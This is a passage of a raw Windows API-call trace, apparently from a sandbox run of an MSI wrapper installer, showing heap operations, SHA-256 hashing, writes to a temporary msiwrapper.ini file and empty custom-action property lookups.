HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.221] CloseHandle (hObject=0x180) returned 1 [0149.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.222] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.222] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.222] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.223] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.223] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.224] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x2c4, dwFlags=0x0) returned 1 [0149.224] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.224] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.224] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.224] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.224] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.224] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.224] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.224] GetLastError () returned 0x0 [0149.224] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.224] GetLastError () returned 0x0 [0149.225] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.225] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.225] GetLastError () returned 0x0 [0149.225] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.225] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.225] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.225] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.225] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.225] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="1b4f6c919afa058f7a20f14328306ec8eeedda8d58fe102306ac7646edace4f9dc9763e3썚琱") returned 0 [0149.226] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.226] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.226] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.226] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.226] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.226] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.226] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.226] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.226] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.227] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.227] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3dc0, Size=0x30) returned 0x5f5c18 [0149.227] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.228] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.228] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.228] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.229] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.229] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.229] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x37e, dwFlags=0x0) returned 1 [0149.229] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.229] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.229] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.229] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.229] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.229] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.229] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.230] GetLastError () returned 0x0 [0149.230] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.230] GetLastError () returned 0x0 [0149.230] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.230] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.230] GetLastError () returned 0x0 [0149.230] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.230] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.231] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.231] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="ed8df301df423cdc04fd10cde8db99ccf594f03add3d1fad33e4fd6cd117cdd4ẜ") returned 0 [0149.231] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.231] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.231] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.231] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.232] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.232] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.232] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.232] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.232] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.232] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.232] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.232] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.233] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x406, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x406, lpOverlapped=0x0) returned 1 [0149.234] CloseHandle (hObject=0x180) returned 1 [0149.236] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.236] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.236] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.236] MsiCreateRecord (cParams=0x2) returned 0x3b [0149.238] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.238] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xa0) returned 0x5f97f8 [0149.238] MsiRecordSetStringW (hRecord=0x3b, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.RUN_BEFORE_INSTALL_FILE") returned 0x0 [0149.239] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x3b) returned 0 [0149.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.244] MsiCloseHandle (hAny=0x3b) returned 0x0 [0149.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.244] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_BEFORE_INSTALL_FILE", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0149.245] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0149.245] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_BEFORE_INSTALL_FILE", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0x0 [0149.245] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.246] MsiCreateRecord (cParams=0x2) returned 0x3c [0149.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.246] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.246] MsiRecordSetStringW (hRecord=0x3c, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0149.247] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x3c) returned 0 [0149.250] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.250] MsiCloseHandle (hAny=0x3c) returned 0x0 [0149.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.251] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.251] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x406 [0149.251] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x408) returned 0x342ac8 [0149.251] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x406, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x406, lpOverlapped=0x0) returned 1 [0149.252] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.252] CloseHandle (hObject=0x180) returned 1 [0149.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.253] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.255] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.255] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.255] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x37e, dwFlags=0x0) returned 1 [0149.255] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.255] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.255] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.255] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.255] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.255] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.255] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.256] GetLastError () returned 0x0 [0149.256] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.256] GetLastError () returned 0x0 [0149.256] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.256] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.256] GetLastError () returned 0x0 [0149.256] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.256] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.257] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.257] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.257] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.257] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="ed8df301df423cdc04fd10cde8db99ccf594f03add3d1fad33e4fd6cd117cdd4dc9763e3썚琱") returned 0 [0149.257] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.257] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.257] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.257] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.258] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.258] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.258] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.258] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.258] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.258] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.259] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3dc0, Size=0x40) returned 0x5dbad8 [0149.259] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.259] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.259] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.259] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.260] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.260] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.260] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x3aa, dwFlags=0x0) returned 1 [0149.260] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.260] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.260] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.260] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.261] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.261] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.261] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.261] GetLastError () returned 0x0 [0149.261] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.261] GetLastError () returned 0x0 [0149.261] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.262] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.262] GetLastError () returned 0x0 [0149.262] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.262] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.262] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.262] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.262] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.262] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="616c91aa1d497cc189ccf3783641e07682694a7840a1ec714d3b8f7fc4ea0b02ẜ") returned 0 [0149.263] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.263] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.263] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.263] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.263] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.264] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.264] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.264] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.264] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.264] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.264] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.264] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.265] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x432, lpOverlapped=0x0) returned 1 [0149.267] CloseHandle (hObject=0x180) returned 1 [0149.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.268] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0149.268] MsiCreateRecord (cParams=0x2) returned 0x3d [0149.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.269] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xa0) returned 0x5f9880 [0149.269] MsiRecordSetStringW (hRecord=0x3d, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.RUN_BEFORE_INSTALL_PARAMETERS") returned 0x0 [0149.269] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x3d) returned 0 [0149.272] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.272] MsiCloseHandle (hAny=0x3d) returned 0x0 [0149.274] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.274] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_BEFORE_INSTALL_PARAMETERS", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0149.277] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0149.277] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_BEFORE_INSTALL_PARAMETERS", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0x0 [0149.280] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.280] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.280] MsiCreateRecord (cParams=0x2) returned 0x3e [0149.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.282] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.282] MsiRecordSetStringW (hRecord=0x3e, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0149.284] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x3e) returned 0 [0149.289] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.289] MsiCloseHandle (hAny=0x3e) returned 0x0 [0149.291] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.292] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.292] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x432 [0149.293] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x434) returned 0x342ac8 [0149.293] ReadFile (in: hFile=0x180, 